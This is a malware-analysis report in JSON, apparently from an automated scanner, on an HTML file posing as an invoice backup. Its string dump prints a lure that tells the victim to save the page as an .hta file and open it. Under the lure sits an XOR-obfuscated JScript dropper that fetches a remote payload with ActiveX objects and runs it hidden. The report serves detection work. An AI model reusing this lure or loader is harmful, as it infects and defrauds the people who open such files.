{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2
      }
    ],
    "prob": 1.0,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9692378,
        "class": 1
      },
      {
        "m": "az/documents",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "thresholds": [
      0.999503,
      0.9998882
    ],
    "analyzed_at": "2026-05-26T17:15:21Z"
  },
  "path": "Invoice_Backup.html",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₂(AsC)",
        "x": 73,
        "ff": {
          "m": {
            "file": {
              "size": 6243.0,
              "entropy": 4.89,
              "size_bytes": 6243.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "\u003c!DOCTYPE html\u003e"
            ],
            [
              16,
              "u8",
              "\u003c!-- saved from url=(0043)https://invoice-portal.com/backup/codes.html --\u003e"
            ],
            [
              91,
              "u8",
              "\u003chtml lang=\"en\"\u003e"
            ],
            [
              108,
              "u8",
              "\u003chead\u003e"
            ],
            [
              115,
              "u8",
              "\u003cmeta charset=\"UTF-8\"\u003e"
            ],
            [
              140,
              "u8",
              "\u003ctitle\u003eInvoice_Backup_.hta\u003c/title\u003e"
            ],
            [
              177,
              "u8",
              "\u003cstyle\u003e"
            ],
            [
              255,
              "u8",
              "font-family: 'Segoe UI', Tahoma, sans-serif;"
            ],
            [
              306,
              "u8",
              "background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);"
            ],
            [
              375,
              "u8",
              "min-height: 100vh;"
            ],
            [
              400,
              "u8",
              "display: flex;"
            ],
            [
              421,
              "u8",
              "align-items: center;"
            ],
            [
              448,
              "u8",
              "justify-content: center;"
            ],
            [
              479,
              "u8",
              "padding: 20px;"
            ],
            [
              506,
              "u8",
              ".container {"
            ],
            [
              523,
              "u8",
              "background: #fff;"
            ],
            [
              547,
              "u8",
              "border-radius: 16px;"
            ],
            [
              574,
              "u8",
              "box-shadow: 0 25px 50px -12px rgba(0,0,0,0.25);"
            ],
            [
              628,
              "u8",
              "max-width: 480px;"
            ],
            [
              652,
              "u8",
              "width: 100%;"
            ],
            [
              671,
              "u8",
              "overflow: hidden;"
            ],
            [
              701,
              "u8",
              ".header {"
            ],
            [
              715,
              "u8",
              "background: #1a73e8;"
            ],
            [
              742,
              "u8",
              "color: white;"
            ],
            [
              762,
              "u8",
              "padding: 24px;"
            ],
            [
              783,
              "u8",
              "text-align: center;"
            ],
            [
              815,
              "u8",
              ".header h1 {"
            ],
            [
              832,
              "u8",
              "font-size: 1.5em;"
            ],
            [
              856,
              "u8",
              "font-weight: 500;"
            ],
            [
              880,
              "u8",
              "margin-bottom: 8px;"
            ],
            [
              912,
              "u8",
              ".header p {"
            ],
            [
              928,
              "u8",
              "opacity: 0.9;"
            ],
            [
              948,
              "u8",
              "font-size: 0.9em;"
            ],
            [
              978,
              "u8",
              ".content {"
            ],
            [
              993,
              "u8",
              "padding: 32px;"
            ],
            [
              1020,
              "u8",
              ".warning {"
            ],
            [
              1035,
              "u8",
              "background: #fff3cd;"
            ],
            [
              1062,
              "u8",
              "border-left: 4px solid #ffc107;"
            ],
            [
              1100,
              "u8",
              "padding: 16px;"
            ],
            [
              1121,
              "u8",
              "margin-bottom: 24px;"
            ],
            [
              1148,
              "u8",
              "border-radius: 0 8px 8px 0;"
            ],
            [
              1188,
              "u8",
              ".warning-title {"
            ],
            [
              1209,
              "u8",
              "color: #856404;"
            ],
            [
              1231,
              "u8",
              "font-weight: 600;"
            ],
            [
              1351,
              "u8",
              ".warning-text {"
            ],
            [
              1417,
              "u8",
              "line-height: 1.5;"
            ],
            [
              1460,
              "u8",
              "background: #f8f9fa;"
            ],
            [
              1487,
              "u8",
              "border-radius: 12px;"
            ],
            [
              1568,
              "u8",
              ".steps h3 {"
            ],
            [
              1584,
              "u8",
              "color: #333;"
            ],
            [
              1603,
              "u8",
              "margin-bottom: 16px;"
            ],
            [
              1630,
              "u8",
              "font-size: 1em;"
            ],
            [
              1691,
              "u8",
              "align-items: flex-start;"
            ],
            [
              1749,
              "u8",
              "padding-bottom: 16px;"
            ],
            [
              1777,
              "u8",
              "border-bottom: 1px solid #e9ecef;"
            ],
            [
              1823,
              "u8",
              ".step:last-child {"
            ],
            [
              1846,
              "u8",
              "margin-bottom: 0;"
            ],
            [
              1870,
              "u8",
              "padding-bottom: 0;"
            ],
            [
              1895,
              "u8",
              "border-bottom: none;"
            ],
            [
              1928,
              "u8",
              ".step-num {"
            ],
            [
              1991,
              "u8",
              "width: 28px;"
            ],
            [
              2010,
              "u8",
              "height: 28px;"
            ],
            [
              2030,
              "u8",
              "border-radius: 50%;"
            ],
            [
              2159,
              "u8",
              "font-size: 0.85em;"
            ],
            [
              2184,
              "u8",
              "margin-right: 12px;"
            ],
            [
              2210,
              "u8",
              "flex-shrink: 0;"
            ],
            [
              2238,
              "u8",
              ".step-text {"
            ],
            [
              2255,
              "u8",
              "color: #495057;"
            ],
            [
              2277,
              "u8",
              "font-size: 0.95em;"
            ],
            [
              2302,
              "u8",
              "line-height: 1.6;"
            ],
            [
              2342,
              "u8",
              "background: #e9ecef;"
            ],
            [
              2369,
              "u8",
              "border: 1px solid #ced4da;"
            ],
            [
              2402,
              "u8",
              "border-radius: 4px;"
            ],
            [
              2428,
              "u8",
              "padding: 2px 6px;"
            ],
            [
              2452,
              "u8",
              "font-family: 'Consolas', monospace;"
            ],
            [
              2547,
              "u8",
              ".invoice-info {"
            ],
            [
              2567,
              "u8",
              "background: #e8f5e9;"
            ],
            [
              2594,
              "u8",
              "border-radius: 8px;"
            ],
            [
              2641,
              "u8",
              "margin-bottom: 20px;"
            ],
            [
              2674,
              "u8",
              ".invoice-info h4 {"
            ],
            [
              2697,
              "u8",
              "color: #2e7d32;"
            ],
            [
              2719,
              "u8",
              "margin-bottom: 12px;"
            ],
            [
              2752,
              "u8",
              ".invoice-row {"
            ],
            [
              2792,
              "u8",
              "justify-content: space-between;"
            ],
            [
              2830,
              "u8",
              "padding: 8px 0;"
            ],
            [
              2852,
              "u8",
              "border-bottom: 1px dashed #c8e6c9;"
            ],
            [
              2923,
              "u8",
              ".invoice-row:last-child {"
            ],
            [
              3010,
              "u8",
              ".footer {"
            ],
            [
              3098,
              "u8",
              "border-top: 1px solid #e9ecef;"
            ],
            [
              3141,
              "u8",
              ".footer p {"
            ],
            [
              3157,
              "u8",
              "color: #6c757d;"
            ],
            [
              3179,
              "u8",
              "font-size: 0.8em;"
            ],
            [
              3221,
              "u8",
              "font-size: 1.2em;"
            ],
            [
              3245,
              "u8",
              "font-weight: 700;"
            ],
            [
              3269,
              "u8",
              "color: #1a73e8;"
            ],
            [
              3323,
              "u8",
              "\u003c/style\u003e"
            ],
            [
              3334,
              "u8",
              "\u003c/head\u003e"
            ],
            [
              3342,
              "u8",
              "\u003cbody\u003e"
            ],
            [
              3349,
              "u8",
              "\u003cdiv class=\"container\"\u003e"
            ],
            [
              3375,
              "u8",
              "\u003cdiv class=\"header\"\u003e"
            ],
            [
              3400,
              "u8",
              "\u003ch1\u003eInvoice Document Backup\u003c/h1\u003e"
            ],
            [
              3439,
              "u8",
              "\u003cp\u003eSecure offline copy of your invoice\u003c/p\u003e"
            ],
            [
              3488,
              "u8",
              "\u003c/div\u003e"
            ],
            [
              3504,
              "u8",
              "\u003cdiv class=\"content\"\u003e"
            ],
            [
              3530,
              "u8",
              "\u003cdiv class=\"warning\"\u003e"
            ],
            [
              3558,
              "u8",
              "\u003cdiv class=\"warning-title\"\u003e"
            ],
            [
              3594,
              "u8",
              "\u003cspan\u003e\u0026#9888;\u003c/span\u003e Important Notice"
            ],
            [
              3657,
              "u8",
              "\u003cdiv class=\"warning-text\"\u003e"
            ],
            [
              3692,
              "u8",
              "Your session will expire in 5 minutes. Please save this invoice backup to your computer for offline access."
            ],
            [
              3839,
              "u8",
              "\u003cdiv class=\"invoice-info\"\u003e"
            ],
            [
              3913,
              "u8",
              "\u003cdiv class=\"invoice-row\"\u003e"
            ],
            [
              3947,
              "u8",
              "\u003cspan\u003eDate:\u003c/span\u003e"
            ],
            [
              3976,
              "u8",
              "\u003cspan\u003eApril 18, 2026\u003c/span\u003e"
            ],
            [
              4063,
              "u8",
              "\u003cspan\u003eDue Date:\u003c/span\u003e"
            ],
            [
              4096,
              "u8",
              "\u003cspan\u003eMay 18, 2026\u003c/span\u003e"
            ],
            [
              4181,
              "u8",
              "\u003cspan\u003eAmount:\u003c/span\u003e"
            ],
            [
              4212,
              "u8",
              "\u003cspan\u003e$4,875.00\u003c/span\u003e"
            ],
            [
              4274,
              "u8",
              "\u003cdiv class=\"steps\"\u003e"
            ],
            [
              4300,
              "u8",
              "\u003ch3\u003eSave Invoice Backup:\u003c/h3\u003e"
            ],
            [
              4338,
              "u8",
              "\u003cdiv class=\"step\"\u003e"
            ],
            [
              4365,
              "u8",
              "\u003cdiv class=\"step-num\"\u003e1\u003c/div\u003e"
            ],
            [
              4405,
              "u8",
              "\u003cdiv class=\"step-text\"\u003e"
            ],
            [
              4439,
              "u8",
              "Press \u003ckbd\u003eCtrl\u003c/kbd\u003e + \u003ckbd\u003eS\u003c/kbd\u003e to open the save dialog"
            ],
            [
              4571,
              "u8",
              "\u003cdiv class=\"step-num\"\u003e2\u003c/div\u003e"
            ],
            [
              4645,
              "u8",
              "Replace the \u003ckbd\u003e_\u003c/kbd\u003e in the filename with your name (e.g., \u003ckbd\u003eInvoice_Backup_John.hta\u003c/kbd\u003e)"
            ],
            [
              4815,
              "u8",
              "\u003cdiv class=\"step-num\"\u003e3\u003c/div\u003e"
            ],
            [
              4889,
              "u8",
              "Select \u003cstrong\u003e\"Webpage, Complete\"\u003c/strong\u003e as save type and click Save"
            ],
            [
              5032,
              "u8",
              "\u003cdiv class=\"step-num\"\u003e4\u003c/div\u003e"
            ],
            [
              5106,
              "u8",
              "Open the saved file to verify your invoice data is stored correctly"
            ],
            [
              5243,
              "u8",
              "\u003cdiv class=\"footer\"\u003e"
            ],
            [
              5268,
              "u8",
              "\u003cdiv class=\"logo\"\u003eSecureInvoice\u003c/div\u003e"
            ],
            [
              5312,
              "u8",
              "\u003cp\u003eEncrypted backup system v3.2.1\u003c/p\u003e"
            ],
            [
              5377,
              "u8",
              "\u003cscript language=\"JScript\"\u003e"
            ],
            [
              5407,
              "u8",
              "var k=\"inv0ice\";"
            ],
            [
              5686,
              "u8",
              "var w=new ActiveXObject(x(\"3E3D1542001311473D1E55050F\"));"
            ],
            [
              5748,
              "u8",
              "var q=new ActiveXObject(x(\"243D2E7D25514B31233A783D3735\"));"
            ],
            [
              5812,
              "u8",
              "var p=w.ExpandEnvironmentStrings(x(\"4C3A337D3946\"))+x(\"351D58551106\");"
            ],
            [
              5887,
              "u8",
              "q.Open(x(\"2E2B22\"),x(\"011A0240534C4A585A421E585153475F420847515658410558081100461D13441C134B0C1613\"),false);"
            ],
            [
              6014,
              "u8",
              "var s=new ActiveXObject(x(\"282A39742B4D361D1C135104\"));"
            ],
            [
              6149,
              "u8",
              "w.Run(p+x(\"4941251046250A1B0D13660C110C0F0715511D0A0A07\"),0);"
            ],
            [
              6215,
              "u8",
              "\u003c/script\u003e"
            ],
            [
              6227,
              "u8",
              "\u003c/body\u003e"
            ],
            [
              6235,
              "u8",
              "\u003c/html\u003e"
            ]
          ],
          "id": "html"
        },
        "id": 0,
        "sz": 6243,
        "ts": [
          {
            "c": 0.8999999761581421,
            "d": "HTML5 document doctype",
            "e": [
              "\u003c!DOCTYPE html\u003e"
            ],
            "i": "metadata/document/html::doctype",
            "l": 2
          },
          {
            "c": 0.7200000286102295,
            "d": "HTML comment marker",
            "e": [
              "\u003c!--"
            ],
            "i": "micro-behaviors/data/format/html::comment",
            "l": 1
          },
          {
            "a": "T1059.007",
            "c": 0.8999999761581421,
            "d": "XMLHTTP/WinHTTP COM ProgID reference",
            "e": [
              "ActiveXObject"
            ],
            "i": "objectives/command-and-control/dropper/execution/string-reconstruct::xmlhttp-com-progid-text",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "ActiveXObject instantiation call",
            "e": [
              "new ActiveXObject("
            ],
            "i": "objectives/execution/interpreter/script/wsh::activexobject-call",
            "l": 1
          },
          {
            "a": "T1528",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "html"
            ],
            "i": "objectives/credential-access/cloud/token::oauth-redirect-with-target-email--rx-10",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.7799999713897705,
            "d": "HTML fromCharCode decode helper",
            "e": [
              "fromCharCode"
            ],
            "i": "objectives/anti-static/obfuscation/syntax::html-fromcharcode-decode",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.7799999713897705,
            "d": "CSS opacity zero rule",
            "e": [
              "opacity: 0"
            ],
            "i": "micro-behaviors/data/format/css::opacity-zero",
            "l": 2
          },
          {
            "a": "T1204.001",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "press"
            ],
            "i": "objectives/execution/lure/clipboard::run-dialog-instruction-generic--rx-2",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "HTML XOR charCode loop",
            "e": [
              "charCodeAt(i)^"
            ],
            "i": "objectives/anti-static/obfuscation/syntax::html-xor-charcode",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "DOM or CSS size property",
            "e": [
              "height"
            ],
            "i": "micro-behaviors/ui/window/manage/dom::size-prop",
            "l": 1
          },
          {
            "a": "T1204.001",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "open the save dialog"
            ],
            "i": "objectives/execution/lure/clipboard::run-dialog-instruction-generic--rx-6",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "ResponseBody fragment (nseBody)",
            "e": [
              "nseBody"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::response-body-fragment-2a",
            "l": 1
          },
          {
            "a": "T1027.003",
            "c": 0.8999999761581421,
            "d": "JavaScript function keyword in non-code file",
            "e": [
              "function h("
            ],
            "i": "objectives/anti-static/obfuscation/payload/container::js-function-in-noncode",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1105",
            "c": 0.8999999761581421,
            "d": "WSH reads responseBody",
            "e": [
              "responseBody"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-responsebody",
            "l": 4
          },
          {
            "c": 0.800000011920929,
            "d": "ResponseBody fragment (onseB)",
            "e": [
              "onseB"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::response-body-fragment-2b",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.7799999713897705,
            "d": "HTML charCode decode helper",
            "e": [
              "charCodeAt("
            ],
            "i": "objectives/anti-static/obfuscation/syntax::html-charcode-decode",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.7200000286102295,
            "d": "LLM role context",
            "e": [
              "system"
            ],
            "i": "micro-behaviors/data/text/llm/override::llm-role-context",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Right string trimming",
            "e": [
              "right"
            ],
            "i": "micro-behaviors/process/create/shell/lang::right-string-call",
            "l": 2
          },
          {
            "a": "T1105",
            "c": 0.8999999761581421,
            "d": "WSH saves stream to file",
            "e": [
              "SaveToFile"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-savetofile",
            "l": 4
          }
        ],
        "sha": "3ee2bd7cabaa4ce28043a12610c006360db82a4cf9308e42cb86e325880534e9",
        "path": "Invoice_Backup.html",
        "type": "html"
      }
    ],
    "tv": "9ad70"
  }
}